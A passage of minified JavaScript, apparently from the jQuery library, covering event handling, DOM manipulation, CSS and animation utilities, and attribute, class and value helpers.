c,d,e,f,g,h=[],i=b.delegateCount,j=a.target;if(i&&j.nodeType&&!("click"===a.type&&a.button>=1))for(;j!==this;j=j.parentNode||this)if(1===j.nodeType&&("click"!==a.type||j.disabled!==!0)){for(f=[],g={},c=0;c<i;c++)d=b[c],e=d.selector+" ",void 0===g[e]&&(g[e]=d.needsContext?r(e,this).index(j)>-1:r.find(e,this,null,[j]).length),g[e]&&f.push(d);f.length&&h.push({elem:j,handlers:f})}return j=this,i<b.length&&h.push({elem:j,handlers:b.slice(i)}),h},addProp:function(a,b){Object.defineProperty(r.Event.prototype,a,{enumerable:!0,configurable:!0,get:r.isFunction(b)?function(){if(this.originalEvent)return b(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[a]},set:function(b){Object.defineProperty(this,a,{enumerable:!0,configurable:!0,writable:!0,value:b})}})},fix:function(a){return a[r.expando]?a:new r.Event(a)},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==xa()&&this.focus)return this.focus(),!1},delegateType:"focusin"},blur:{trigger:function(){if(this===xa()&&this.blur)return this.blur(),!1},delegateType:"focusout"},click:{trigger:function(){if("checkbox"===this.type&&this.click&&B(this,"input"))return this.click(),!1},_default:function(a){return B(a.target,"a")}},beforeunload:{postDispatch:function(a){void 0!==a.result&&a.originalEvent&&(a.originalEvent.returnValue=a.result)}}}},r.removeEvent=function(a,b,c){a.removeEventListener&&a.removeEventListener(b,c)},r.Event=function(a,b){return this instanceof r.Event?(a&&a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||void 0===a.defaultPrevented&&a.returnValue===!1?va:wa,this.target=a.target&&3===a.target.nodeType?a.target.parentNode:a.target,this.currentTarget=a.currentTarget,this.relatedTarget=a.relatedTarget):this.type=a,b&&r.extend(this,b),this.timeStamp=a&&a.timeStamp||r.now(),void(this[r.expando]=!0)):new r.Event(a,b)},r.Event.prototype={constructor:r.Event,isDefaultPrevented:wa,isPropagationStopped:wa,isImmediatePropagationStopped:wa,isSimulated:!1,preventDefault:function(){var a=this.originalEvent;this.isDefaultPrevented=va,a&&!this.isSimulated&&a.preventDefault()},stopPropagation:function(){var a=this.originalEvent;this.isPropagationStopped=va,a&&!this.isSimulated&&a.stopPropagation()},stopImmediatePropagation:function(){var a=this.originalEvent;this.isImmediatePropagationStopped=va,a&&!this.isSimulated&&a.stopImmediatePropagation(),this.stopPropagation()}},r.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(a){var b=a.button;return null==a.which&&sa.test(a.type)?null!=a.charCode?a.charCode:a.keyCode:!a.which&&void 0!==b&&ta.test(a.type)?1&b?1:2&b?3:4&b?2:0:a.which}},r.event.addProp),r.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(a,b){r.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c,d=this,e=a.relatedTarget,f=a.handleObj;return e&&(e===d||r.contains(d,e))||(a.type=f.origType,c=f.handler.apply(this,arguments),a.type=b),c}}}),r.fn.extend({on:function(a,b,c,d){return ya(this,a,b,c,d)},one:function(a,b,c,d){return ya(this,a,b,c,d,1)},off:function(a,b,c){var d,e;if(a&&a.preventDefault&&a.handleObj)return d=a.handleObj,r(a.delegateTarget).off(d.namespace?d.origType+"."+d.namespace:d.origType,d.selector,d.handler),this;if("object"==typeof a){for(e in a)this.off(e,b,a[e]);return this}return b!==!1&&"function"!=typeof b||(c=b,b=void 0),c===!1&&(c=wa),this.each(function(){r.event.remove(this,a,c,b)})}});var za=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi,Aa=/<script|<style|<link/i,Ba=/checked\s*(?:[^=]|=\s*.checked.)/i,Ca=/^true\/(.*)/,Da=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;function Ea(a,b){return B(a,"table")&&B(11!==b.nodeType?b:b.firstChild,"tr")?r(">tbody",a)[0]||a:a}function Fa(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function Ga(a){var b=Ca.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function Ha(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(W.hasData(a)&&(f=W.access(a),g=W.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;c<d;c++)r.event.add(b,e,j[e][c])}X.hasData(a)&&(h=X.access(a),i=r.extend({},h),X.set(b,i))}}function Ia(a,b){var c=b.nodeName.toLowerCase();"input"===c&&ja.test(a.type)?b.checked=a.checked:"input"!==c&&"textarea"!==c||(b.defaultValue=a.defaultValue)}function Ja(a,b,c,d){b=g.apply([],b);var e,f,h,i,j,k,l=0,m=a.length,n=m-1,q=b[0],s=r.isFunction(q);if(s||m>1&&"string"==typeof q&&!o.checkClone&&Ba.test(q))return a.each(function(e){var f=a.eq(e);s&&(b[0]=q.call(this,e,f.html())),Ja(f,b,c,d)});if(m&&(e=qa(b,a[0].ownerDocument,!1,a,d),f=e.firstChild,1===e.childNodes.length&&(e=f),f||d)){for(h=r.map(na(e,"script"),Fa),i=h.length;l<m;l++)j=e,l!==n&&(j=r.clone(j,!0,!0),i&&r.merge(h,na(j,"script"))),c.call(a[l],j,l);if(i)for(k=h[h.length-1].ownerDocument,r.map(h,Ga),l=0;l<i;l++)j=h[l],la.test(j.type||"")&&!W.access(j,"globalEval")&&r.contains(k,j)&&(j.src?r._evalUrl&&r._evalUrl(j.src):p(j.textContent.replace(Da,""),k))}return a}function Ka(a,b,c){for(var d,e=b?r.filter(b,a):a,f=0;null!=(d=e[f]);f++)c||1!==d.nodeType||r.cleanData(na(d)),d.parentNode&&(c&&r.contains(d.ownerDocument,d)&&oa(na(d,"script")),d.parentNode.removeChild(d));return a}r.extend({htmlPrefilter:function(a){return a.replace(za,"<$1></$2>")},clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=r.contains(a.ownerDocument,a);if(!(o.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||r.isXMLDoc(a)))for(g=na(h),f=na(a),d=0,e=f.length;d<e;d++)Ia(f[d],g[d]);if(b)if(c)for(f=f||na(a),g=g||na(h),d=0,e=f.length;d<e;d++)Ha(f[d],g[d]);else Ha(a,h);return g=na(h,"script"),g.length>0&&oa(g,!i&&na(a,"script")),h},cleanData:function(a){for(var b,c,d,e=r.event.special,f=0;void 0!==(c=a[f]);f++)if(U(c)){if(b=c[W.expando]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[W.expando]=void 0}c[X.expando]&&(c[X.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ka(this,a,!0)},remove:function(a){return Ka(this,a)},text:function(a){return T(this,function(a){return void 0===a?r.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ja(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ea(this,a);b.appendChild(a)}})},prepend:function(){return Ja(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ea(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return Ja(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return Ja(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(r.cleanData(na(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null!=a&&a,b=null==b?a:b,this.map(function(){return r.clone(this,a,b)})},html:function(a){return T(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!Aa.test(a)&&!ma[(ka.exec(a)||["",""])[1].toLowerCase()]){a=r.htmlPrefilter(a);try{for(;c<d;c++)b=this[c]||{},1===b.nodeType&&(r.cleanData(na(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=[];return Ja(this,arguments,function(b){var c=this.parentNode;r.inArray(this,a)<0&&(r.cleanData(na(this)),c&&c.replaceChild(b,this))},a)}}),r.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){r.fn[a]=function(a){for(var c,d=[],e=r(a),f=e.length-1,g=0;g<=f;g++)c=g===f?this:this.clone(!0),r(e[g])[b](c),h.apply(d,c.get());return this.pushStack(d)}});var La=/^margin/,Ma=new RegExp("^("+aa+")(?!px)[a-z%]+$","i"),Na=function(b){var c=b.ownerDocument.defaultView;return c&&c.opener||(c=a),c.getComputedStyle(b)};!function(){function b(){if(i){i.style.cssText="box-sizing:border-box;position:relative;display:block;margin:auto;border:1px;padding:1px;top:1%;width:50%",i.innerHTML="",ra.appendChild(h);var b=a.getComputedStyle(i);c="1%"!==b.top,g="2px"===b.marginLeft,e="4px"===b.width,i.style.marginRight="50%",f="4px"===b.marginRight,ra.removeChild(h),i=null}}var c,e,f,g,h=d.createElement("div"),i=d.createElement("div");i.style&&(i.style.backgroundClip="content-box",i.cloneNode(!0).style.backgroundClip="",o.clearCloneStyle="content-box"===i.style.backgroundClip,h.style.cssText="border:0;width:8px;height:0;top:0;left:-9999px;padding:0;margin-top:1px;position:absolute",h.appendChild(i),r.extend(o,{pixelPosition:function(){return b(),c},boxSizingReliable:function(){return b(),e},pixelMarginRight:function(){return b(),f},reliableMarginLeft:function(){return b(),g}}))}();function Oa(a,b,c){var d,e,f,g,h=a.style;return c=c||Na(a),c&&(g=c.getPropertyValue(b)||c[b],""!==g||r.contains(a.ownerDocument,a)||(g=r.style(a,b)),!o.pixelMarginRight()&&Ma.test(g)&&La.test(b)&&(d=h.width,e=h.minWidth,f=h.maxWidth,h.minWidth=h.maxWidth=h.width=g,g=c.width,h.width=d,h.minWidth=e,h.maxWidth=f)),void 0!==g?g+"":g}function Pa(a,b){return{get:function(){return a()?void delete this.get:(this.get=b).apply(this,arguments)}}}var Qa=/^(none|table(?!-c[ea]).+)/,Ra=/^--/,Sa={position:"absolute",visibility:"hidden",display:"block"},Ta={letterSpacing:"0",fontWeight:"400"},Ua=["Webkit","Moz","ms"],Va=d.createElement("div").style;function Wa(a){if(a in Va)return a;var b=a[0].toUpperCase()+a.slice(1),c=Ua.length;while(c--)if(a=Ua[c]+b,a in Va)return a}function Xa(a){var b=r.cssProps[a];return b||(b=r.cssProps[a]=Wa(a)||a),b}function Ya(a,b,c){var d=ba.exec(b);return d?Math.max(0,d[2]-(c||0))+(d[3]||"px"):b}function Za(a,b,c,d,e){var f,g=0;for(f=c===(d?"border":"content")?4:"width"===b?1:0;f<4;f+=2)"margin"===c&&(g+=r.css(a,c+ca[f],!0,e)),d?("content"===c&&(g-=r.css(a,"padding"+ca[f],!0,e)),"margin"!==c&&(g-=r.css(a,"border"+ca[f]+"Width",!0,e))):(g+=r.css(a,"padding"+ca[f],!0,e),"padding"!==c&&(g+=r.css(a,"border"+ca[f]+"Width",!0,e)));return g}function $a(a,b,c){var d,e=Na(a),f=Oa(a,b,e),g="border-box"===r.css(a,"boxSizing",!1,e);return Ma.test(f)?f:(d=g&&(o.boxSizingReliable()||f===a.style[b]),"auto"===f&&(f=a["offset"+b[0].toUpperCase()+b.slice(1)]),f=parseFloat(f)||0,f+Za(a,b,c||(g?"border":"content"),d,e)+"px")}r.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=Oa(a,"opacity");return""===c?"1":c}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":"cssFloat"},style:function(a,b,c,d){if(a&&3!==a.nodeType&&8!==a.nodeType&&a.style){var e,f,g,h=r.camelCase(b),i=Ra.test(b),j=a.style;return i||(b=Xa(h)),g=r.cssHooks[b]||r.cssHooks[h],void 0===c?g&&"get"in g&&void 0!==(e=g.get(a,!1,d))?e:j[b]:(f=typeof c,"string"===f&&(e=ba.exec(c))&&e[1]&&(c=fa(a,b,e),f="number"),null!=c&&c===c&&("number"===f&&(c+=e&&e[3]||(r.cssNumber[h]?"":"px")),o.clearCloneStyle||""!==c||0!==b.indexOf("background")||(j[b]="inherit"),g&&"set"in g&&void 0===(c=g.set(a,c,d))||(i?j.setProperty(b,c):j[b]=c)),void 0)}},css:function(a,b,c,d){var e,f,g,h=r.camelCase(b),i=Ra.test(b);return i||(b=Xa(h)),g=r.cssHooks[b]||r.cssHooks[h],g&&"get"in g&&(e=g.get(a,!0,c)),void 0===e&&(e=Oa(a,b,d)),"normal"===e&&b in Ta&&(e=Ta[b]),""===c||c?(f=parseFloat(e),c===!0||isFinite(f)?f||0:e):e}}),r.each(["height","width"],function(a,b){r.cssHooks[b]={get:function(a,c,d){if(c)return!Qa.test(r.css(a,"display"))||a.getClientRects().length&&a.getBoundingClientRect().width?$a(a,b,d):ea(a,Sa,function(){return $a(a,b,d)})},set:function(a,c,d){var e,f=d&&Na(a),g=d&&Za(a,b,d,"border-box"===r.css(a,"boxSizing",!1,f),f);return g&&(e=ba.exec(c))&&"px"!==(e[3]||"px")&&(a.style[b]=c,c=r.css(a,b)),Ya(a,c,g)}}}),r.cssHooks.marginLeft=Pa(o.reliableMarginLeft,function(a,b){if(b)return(parseFloat(Oa(a,"marginLeft"))||a.getBoundingClientRect().left-ea(a,{marginLeft:0},function(){return a.getBoundingClientRect().left}))+"px"}),r.each({margin:"",padding:"",border:"Width"},function(a,b){r.cssHooks[a+b]={expand:function(c){for(var d=0,e={},f="string"==typeof c?c.split(" "):[c];d<4;d++)e[a+ca[d]+b]=f[d]||f[d-2]||f[0];return e}},La.test(a)||(r.cssHooks[a+b].set=Ya)}),r.fn.extend({css:function(a,b){return T(this,function(a,b,c){var d,e,f={},g=0;if(Array.isArray(b)){for(d=Na(a),e=b.length;g<e;g++)f[b[g]]=r.css(a,b[g],!1,d);return f}return void 0!==c?r.style(a,b,c):r.css(a,b)},a,b,arguments.length>1)}});function _a(a,b,c,d,e){return new _a.prototype.init(a,b,c,d,e)}r.Tween=_a,_a.prototype={constructor:_a,init:function(a,b,c,d,e,f){this.elem=a,this.prop=c,this.easing=e||r.easing._default,this.options=b,this.start=this.now=this.cur(),this.end=d,this.unit=f||(r.cssNumber[c]?"":"px")},cur:function(){var a=_a.propHooks[this.prop];return a&&a.get?a.get(this):_a.propHooks._default.get(this)},run:function(a){var b,c=_a.propHooks[this.prop];return this.options.duration?this.pos=b=r.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration):this.pos=b=a,this.now=(this.end-this.start)*b+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),c&&c.set?c.set(this):_a.propHooks._default.set(this),this}},_a.prototype.init.prototype=_a.prototype,_a.propHooks={_default:{get:function(a){var b;return 1!==a.elem.nodeType||null!=a.elem[a.prop]&&null==a.elem.style[a.prop]?a.elem[a.prop]:(b=r.css(a.elem,a.prop,""),b&&"auto"!==b?b:0)},set:function(a){r.fx.step[a.prop]?r.fx.step[a.prop](a):1!==a.elem.nodeType||null==a.elem.style[r.cssProps[a.prop]]&&!r.cssHooks[a.prop]?a.elem[a.prop]=a.now:r.style(a.elem,a.prop,a.now+a.unit)}}},_a.propHooks.scrollTop=_a.propHooks.scrollLeft={set:function(a){a.elem.nodeType&&a.elem.parentNode&&(a.elem[a.prop]=a.now)}},r.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(a*Math.PI)/2},_default:"swing"},r.fx=_a.prototype.init,r.fx.step={};var ab,bb,cb=/^(?:toggle|show|hide)$/,db=/queueHooks$/;function eb(){bb&&(d.hidden===!1&&a.requestAnimationFrame?a.requestAnimationFrame(eb):a.setTimeout(eb,r.fx.interval),r.fx.tick())}function fb(){return a.setTimeout(function(){ab=void 0}),ab=r.now()}function gb(a,b){var c,d=0,e={height:a};for(b=b?1:0;d<4;d+=2-b)c=ca[d],e["margin"+c]=e["padding"+c]=a;return b&&(e.opacity=e.width=a),e}function hb(a,b,c){for(var d,e=(kb.tweeners[b]||[]).concat(kb.tweeners["*"]),f=0,g=e.length;f<g;f++)if(d=e[f].call(c,b,a))return d}function ib(a,b,c){var d,e,f,g,h,i,j,k,l="width"in b||"height"in b,m=this,n={},o=a.style,p=a.nodeType&&da(a),q=W.get(a,"fxshow");c.queue||(g=r._queueHooks(a,"fx"),null==g.unqueued&&(g.unqueued=0,h=g.empty.fire,g.empty.fire=function(){g.unqueued||h()}),g.unqueued++,m.always(function(){m.always(function(){g.unqueued--,r.queue(a,"fx").length||g.empty.fire()})}));for(d in b)if(e=b[d],cb.test(e)){if(delete b[d],f=f||"toggle"===e,e===(p?"hide":"show")){if("show"!==e||!q||void 0===q[d])continue;p=!0}n[d]=q&&q[d]||r.style(a,d)}if(i=!r.isEmptyObject(b),i||!r.isEmptyObject(n)){l&&1===a.nodeType&&(c.overflow=[o.overflow,o.overflowX,o.overflowY],j=q&&q.display,null==j&&(j=W.get(a,"display")),k=r.css(a,"display"),"none"===k&&(j?k=j:(ia([a],!0),j=a.style.display||j,k=r.css(a,"display"),ia([a]))),("inline"===k||"inline-block"===k&&null!=j)&&"none"===r.css(a,"float")&&(i||(m.done(function(){o.display=j}),null==j&&(k=o.display,j="none"===k?"":k)),o.display="inline-block")),c.overflow&&(o.overflow="hidden",m.always(function(){o.overflow=c.overflow[0],o.overflowX=c.overflow[1],o.overflowY=c.overflow[2]})),i=!1;for(d in n)i||(q?"hidden"in q&&(p=q.hidden):q=W.access(a,"fxshow",{display:j}),f&&(q.hidden=!p),p&&ia([a],!0),m.done(function(){p||ia([a]),W.remove(a,"fxshow");for(d in n)r.style(a,d,n[d])})),i=hb(p?q[d]:0,d,m),d in q||(q[d]=i.start,p&&(i.end=i.start,i.start=0))}}function jb(a,b){var c,d,e,f,g;for(c in a)if(d=r.camelCase(c),e=b[d],f=a[c],Array.isArray(f)&&(e=f[1],f=a[c]=f[0]),c!==d&&(a[d]=f,delete a[c]),g=r.cssHooks[d],g&&"expand"in g){f=g.expand(f),delete a[d];for(c in f)c in a||(a[c]=f[c],b[c]=e)}else b[d]=e}function kb(a,b,c){var d,e,f=0,g=kb.prefilters.length,h=r.Deferred().always(function(){delete i.elem}),i=function(){if(e)return!1;for(var b=ab||fb(),c=Math.max(0,j.startTime+j.duration-b),d=c/j.duration||0,f=1-d,g=0,i=j.tweens.length;g<i;g++)j.tweens[g].run(f);return h.notifyWith(a,[j,f,c]),f<1&&i?c:(i||h.notifyWith(a,[j,1,0]),h.resolveWith(a,[j]),!1)},j=h.promise({elem:a,props:r.extend({},b),opts:r.extend(!0,{specialEasing:{},easing:r.easing._default},c),originalProperties:b,originalOptions:c,startTime:ab||fb(),duration:c.duration,tweens:[],createTween:function(b,c){var d=r.Tween(a,j.opts,b,c,j.opts.specialEasing[b]||j.opts.easing);return j.tweens.push(d),d},stop:function(b){var c=0,d=b?j.tweens.length:0;if(e)return this;for(e=!0;c<d;c++)j.tweens[c].run(1);return b?(h.notifyWith(a,[j,1,0]),h.resolveWith(a,[j,b])):h.rejectWith(a,[j,b]),this}}),k=j.props;for(jb(k,j.opts.specialEasing);f<g;f++)if(d=kb.prefilters[f].call(j,a,k,j.opts))return r.isFunction(d.stop)&&(r._queueHooks(j.elem,j.opts.queue).stop=r.proxy(d.stop,d)),d;return r.map(k,hb,j),r.isFunction(j.opts.start)&&j.opts.start.call(a,j),j.progress(j.opts.progress).done(j.opts.done,j.opts.complete).fail(j.opts.fail).always(j.opts.always),r.fx.timer(r.extend(i,{elem:a,anim:j,queue:j.opts.queue})),j}r.Animation=r.extend(kb,{tweeners:{"*":[function(a,b){var c=this.createTween(a,b);return fa(c.elem,a,ba.exec(b),c),c}]},tweener:function(a,b){r.isFunction(a)?(b=a,a=["*"]):a=a.match(L);for(var c,d=0,e=a.length;d<e;d++)c=a[d],kb.tweeners[c]=kb.tweeners[c]||[],kb.tweeners[c].unshift(b)},prefilters:[ib],prefilter:function(a,b){b?kb.prefilters.unshift(a):kb.prefilters.push(a)}}),r.speed=function(a,b,c){var d=a&&"object"==typeof a?r.extend({},a):{complete:c||!c&&b||r.isFunction(a)&&a,duration:a,easing:c&&b||b&&!r.isFunction(b)&&b};return r.fx.off?d.duration=0:"number"!=typeof d.duration&&(d.duration in r.fx.speeds?d.duration=r.fx.speeds[d.duration]:d.duration=r.fx.speeds._default),null!=d.queue&&d.queue!==!0||(d.queue="fx"),d.old=d.complete,d.complete=function(){r.isFunction(d.old)&&d.old.call(this),d.queue&&r.dequeue(this,d.queue)},d},r.fn.extend({fadeTo:function(a,b,c,d){return this.filter(da).css("opacity",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){var e=r.isEmptyObject(a),f=r.speed(b,c,d),g=function(){var b=kb(this,r.extend({},a),f);(e||W.get(this,"finish"))&&b.stop(!0)};return g.finish=g,e||f.queue===!1?this.each(g):this.queue(f.queue,g)},stop:function(a,b,c){var d=function(a){var b=a.stop;delete a.stop,b(c)};return"string"!=typeof a&&(c=b,b=a,a=void 0),b&&a!==!1&&this.queue(a||"fx",[]),this.each(function(){var b=!0,e=null!=a&&a+"queueHooks",f=r.timers,g=W.get(this);if(e)g[e]&&g[e].stop&&d(g[e]);else for(e in g)g[e]&&g[e].stop&&db.test(e)&&d(g[e]);for(e=f.length;e--;)f[e].elem!==this||null!=a&&f[e].queue!==a||(f[e].anim.stop(c),b=!1,f.splice(e,1));!b&&c||r.dequeue(this,a)})},finish:function(a){return a!==!1&&(a=a||"fx"),this.each(function(){var b,c=W.get(this),d=c[a+"queue"],e=c[a+"queueHooks"],f=r.timers,g=d?d.length:0;for(c.finish=!0,r.queue(this,a,[]),e&&e.stop&&e.stop.call(this,!0),b=f.length;b--;)f[b].elem===this&&f[b].queue===a&&(f[b].anim.stop(!0),f.splice(b,1));for(b=0;b<g;b++)d[b]&&d[b].finish&&d[b].finish.call(this);delete c.finish})}}),r.each(["toggle","show","hide"],function(a,b){var c=r.fn[b];r.fn[b]=function(a,d,e){return null==a||"boolean"==typeof a?c.apply(this,arguments):this.animate(gb(b,!0),a,d,e)}}),r.each({slideDown:gb("show"),slideUp:gb("hide"),slideToggle:gb("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(a,b){r.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),r.timers=[],r.fx.tick=function(){var a,b=0,c=r.timers;for(ab=r.now();b<c.length;b++)a=c[b],a()||c[b]!==a||c.splice(b--,1);c.length||r.fx.stop(),ab=void 0},r.fx.timer=function(a){r.timers.push(a),r.fx.start()},r.fx.interval=13,r.fx.start=function(){bb||(bb=!0,eb())},r.fx.stop=function(){bb=null},r.fx.speeds={slow:600,fast:200,_default:400},r.fn.delay=function(b,c){return b=r.fx?r.fx.speeds[b]||b:b,c=c||"fx",this.queue(c,function(c,d){var e=a.setTimeout(c,b);d.stop=function(){a.clearTimeout(e)}})},function(){var a=d.createElement("input"),b=d.createElement("select"),c=b.appendChild(d.createElement("option"));a.type="checkbox",o.checkOn=""!==a.value,o.optSelected=c.selected,a=d.createElement("input"),a.value="t",a.type="radio",o.radioValue="t"===a.value}();var lb,mb=r.expr.attrHandle;r.fn.extend({attr:function(a,b){return T(this,r.attr,a,b,arguments.length>1)},removeAttr:function(a){return this.each(function(){r.removeAttr(this,a)})}}),r.extend({attr:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return"undefined"==typeof a.getAttribute?r.prop(a,b,c):(1===f&&r.isXMLDoc(a)||(e=r.attrHooks[b.toLowerCase()]||(r.expr.match.bool.test(b)?lb:void 0)),void 0!==c?null===c?void r.removeAttr(a,b):e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:(a.setAttribute(b,c+""),c):e&&"get"in e&&null!==(d=e.get(a,b))?d:(d=r.find.attr(a,b), null==d?void 0:d))},attrHooks:{type:{set:function(a,b){if(!o.radioValue&&"radio"===b&&B(a,"input")){var c=a.value;return a.setAttribute("type",b),c&&(a.value=c),b}}}},removeAttr:function(a,b){var c,d=0,e=b&&b.match(L);if(e&&1===a.nodeType)while(c=e[d++])a.removeAttribute(c)}}),lb={set:function(a,b,c){return b===!1?r.removeAttr(a,c):a.setAttribute(c,c),c}},r.each(r.expr.match.bool.source.match(/\w+/g),function(a,b){var c=mb[b]||r.find.attr;mb[b]=function(a,b,d){var e,f,g=b.toLowerCase();return d||(f=mb[g],mb[g]=e,e=null!=c(a,b,d)?g:null,mb[g]=f),e}});var nb=/^(?:input|select|textarea|button)$/i,ob=/^(?:a|area)$/i;r.fn.extend({prop:function(a,b){return T(this,r.prop,a,b,arguments.length>1)},removeProp:function(a){return this.each(function(){delete this[r.propFix[a]||a]})}}),r.extend({prop:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return 1===f&&r.isXMLDoc(a)||(b=r.propFix[b]||b,e=r.propHooks[b]),void 0!==c?e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&"get"in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){var b=r.find.attr(a,"tabindex");return b?parseInt(b,10):nb.test(a.nodeName)||ob.test(a.nodeName)&&a.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),o.optSelected||(r.propHooks.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){r.propFix[this.toLowerCase()]=this});function pb(a){var b=a.match(L)||[];return b.join(" ")}function qb(a){return a.getAttribute&&a.getAttribute("class")||""}r.fn.extend({addClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).addClass(a.call(this,b,qb(this)))});if("string"==typeof a&&a){b=a.match(L)||[];while(c=this[i++])if(e=qb(c),d=1===c.nodeType&&" "+pb(e)+" "){g=0;while(f=b[g++])d.indexOf(" "+f+" ")<0&&(d+=f+" ");h=pb(d),e!==h&&c.setAttribute("class",h)}}return this},removeClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).removeClass(a.call(this,b,qb(this)))});if(!arguments.length)return this.attr("class","");if("string"==typeof a&&a){b=a.match(L)||[];while(c=this[i++])if(e=qb(c),d=1===c.nodeType&&" "+pb(e)+" "){g=0;while(f=b[g++])while(d.indexOf(" "+f+" ")>-1)d=d.replace(" "+f+" "," ");h=pb(d),e!==h&&c.setAttribute("class",h)}}return this},toggleClass:function(a,b){var c=typeof a;return"boolean"==typeof b&&"string"===c?b?this.addClass(a):this.removeClass(a):r.isFunction(a)?this.each(function(c){r(this).toggleClass(a.call(this,c,qb(this),b),b)}):this.each(function(){var b,d,e,f;if("string"===c){d=0,e=r(this),f=a.match(L)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else void 0!==a&&"boolean"!==c||(b=qb(this),b&&W.set(this,"__className__",b),this.setAttribute&&this.setAttribute("class",b||a===!1?"":W.get(this,"__className__")||""))})},hasClass:function(a){var b,c,d=0;b=" "+a+" ";while(c=this[d++])if(1===c.nodeType&&(" "+pb(qb(c))+" ").indexOf(b)>-1)return!0;return!1}});var rb=/\r/g;r.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=r.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,r(this).val()):a,null==e?e="":"number"==typeof e?e+="":Array.isArray(e)&&(e=r.map(e,function(a){return null==a?"":a+""})),b=r.valHooks[this.type]||r.valHooks[this.nodeName.toLowerCase()],b&&"set"in b&&void 0!==b.set(this,e,"value")||(this.value=e))});if(e)return b=r.valHooks[e.type]||r.valHooks[e.nodeName.toLowerCase()],b&&"get"in b&&void 0!==(c=b.get(e,"value"))?c:(c=e.value,"string"==typeof c?c.replace(rb,""):null==c?"":c)}}}),r.extend({valHooks:{option:{get:function(a){var b=r.find.attr(a,"value");return null!=b?b:pb(r.text(a))}},select:{get:function(a){var b,c,d,e=a.options,f=a.selectedIndex,g="select-one"===a.type,h=g?null:[],i=g?f+1:e.length;for(d=f<0?i:g?f:0;d<i;d++)if(c=e[d],(c.selected||d===f)&&!c.disabled&&(!c.parentNode.disabled||!B(c.parentNode,"optgroup"))){if(b=r(c).val(),g)return b;h.push(b)}return h},set:function(a,b){var c,d,e=a.options,f=r.makeArray(b),g=e.length;while(g--)d=e[g],(d.selected=r.inArray(r.valHooks.option.get(d),f)>-1)&&(c=!0);return c||(a.selectedIndex=-1),f}}}}),r.each(["radio","checkbox"],function(){r.valHooks[this]={set:function(a,b){if(Array.isArray(b))return a.checked=r.inArray(r(a).val(),b)>-1}},o.checkOn||(r.valHooks[this].get=function(a){return null===a.getAttribute("value")?"on":a.value})});var sb=/^(?:focusinfocus|focusoutblur)$/;r.extend(r.event,{trigger:function(b,c,e,f){var 